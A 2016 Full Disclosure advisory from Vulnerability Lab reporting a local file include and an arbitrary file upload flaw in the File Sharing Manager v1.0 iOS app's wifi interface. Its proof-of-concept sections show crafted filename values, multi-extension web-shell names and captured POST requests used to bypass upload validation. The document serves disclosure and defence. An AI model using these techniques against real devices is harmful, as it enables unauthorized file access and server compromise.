Message-ID: <56BB15E2.7030905@vulnerability-lab.com>
Date: Wed, 10 Feb 2016 11:50:10 +0100
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] File Sharing Manager v1.0 iOS - Multiple Web Vulnerabilities

Document Title:
===============
File Sharing Manager v1.0 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1715


Release Date:
=============
2016-02-09


Vulnerability Laboratory ID (VL-ID):
====================================
1715


Common Vulnerability Scoring System:
====================================
7.2


Product & Service Introduction:
===============================
File Sharing Manager -Share pictures, videos to your computer and other iOS/non-iOS devices. file share manager is your one stop multi platform solution.

(Copy of the Homepage: https://itunes.apple.com/us/app/file-sharing-manager-transfer/id1014628606 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered multiple web vulnerabilities in the official File Sharing Manager v1.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Romman Smart Applications LLC
Product: File Sharing Manager - iOS (Web-Application) [Wifi] 1.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official File Sharing Manager v1.0 iOS mobile web-application.
The file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path 
commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with 
malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local file/path 
include execution occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to inject the 
lfi payload by usage of the wifi interface or local file sync function. Attackers are also able to exploit the filename issue in 
combination with persistent injected script code to execute different malicious attack requests. The attack vector is located on 
the application-side of the wifi service and the request method to inject is POST. 

The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.6. 
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. 
Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:49772/)


1.2
An arbitrary file upload web vulnerability has been discovered in the official File Sharing Manager v1.0 iOS mobile web-application.
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the system validation and compromise the web-server.

The vulnerability is located in the filename value of the `upload` file module. Remote attackers are able to upload a php or js web-shell by a rename of the 
filename with multiple extensions in the upload POST method request. The attacker uploads for example a web-shell with the following name and extension 
`pentest.png.html.php.js.aspx.html.png`. After the upload the attacker needs to open the file in the wifi web-application interface. He deletes the .png file 
extension and can access the webshell with elevated access rights to execute. 

The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2.
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application user account with password.
Successful exploitation of the arbitrary file upload vulnerability results in unauthorized file access (aap/device) and compromise of http web-server.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename  (multiple extensions)

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:49772/)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by remote attacker in the same network without privileged web-application user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

<div class="files">     <bq>Files</bq>     <p><a href="..">..</a><br>     
</p><a href="2.png">2.png</a>		(     0.5 Kb, 2016-02-08 15:37:32 +0000)<br>
<a href="<./[LOCAL FILE INCLUDE EXECUTION!]>2.png"><./[LOCAL FILE INCLUDE EXECUTION!]>2.png</a>(     0.5 Kb, 2016-02-08 15:39:07 +0000)<br />
<a href="Box/">Box/</a>		(     0.1 Kb, 2016-02-07 14:20:33 +0000)<br />
<a href="DropBox/">DropBox/</a>		(     0.1 Kb, 2016-02-07 14:20:33 +0000)<br />
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file
<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" /></label></form>
<hr></div></div></div></center></body></html></iframe></a></div>


PoC: Exploitation
http://localhost:49772/./[LOCAL FILE/PATH INCLUDE VULNERABILITY!]2.png


--- PoC Session Logs [POST] ---
Status: 200[OK]
 POST http://localhost:49772/ 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[6611] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:49772]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:49772/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------71031763230011
Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!]2.png"
Content-Type: image/png



1.2
The arbitrary file upload web vulnerability can be exploited by remote attacker in the same network without privileged web-application user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

<div class="files">     <bq>Files</bq>     <p><a href="..">..</a><br>     
</p><a href="41.png">41.png</a>		(     0.5 Kb, 2016-02-08 15:37:32 +0000)<br>
<a href="././webshell.png.html.js.php.html.js.php.png>./webshell.png.html.js.php.html.js.php.png">
<./webshell.png.html.js.php.html.js.php.png>./webshell.png.html.js.php.html.js.php.png</a>(     0.5 Kb, 2016-02-08 15:39:07 +0000)<br />
<a href="Box/">Box/</a>		(     0.1 Kb, 2016-02-07 14:20:33 +0000)<br />
<a href="DropBox/">DropBox/</a>		(     0.1 Kb, 2016-02-07 14:20:33 +0000)<br />
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file
<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" /></label></form>
<hr></div></div></div></center></body></html></iframe></a></div>


PoC: Exploitation
http://localhost:49772/./webshell.png.html.js.php.html.js.png


--- PoC Session Logs [POST] ---
Status: 200[OK]
 POST http://localhost:49772/ 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[6611] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:49772]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:49772/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------71031763230011
Content-Disposition: form-data; name="file"; filename="./webshell.png.html.js.php.html.js.png"
Content-Type: image/png


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability in the filename value of the upload file function is estimated as high. (CVSS 6.6)

1.2
The security risk of the arbitrary file upload web vulnerability in the file upload mechanism is estimated as high. (CVSS 7.2)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@...nerability-lab.com) [www.vulnerability-lab.com]


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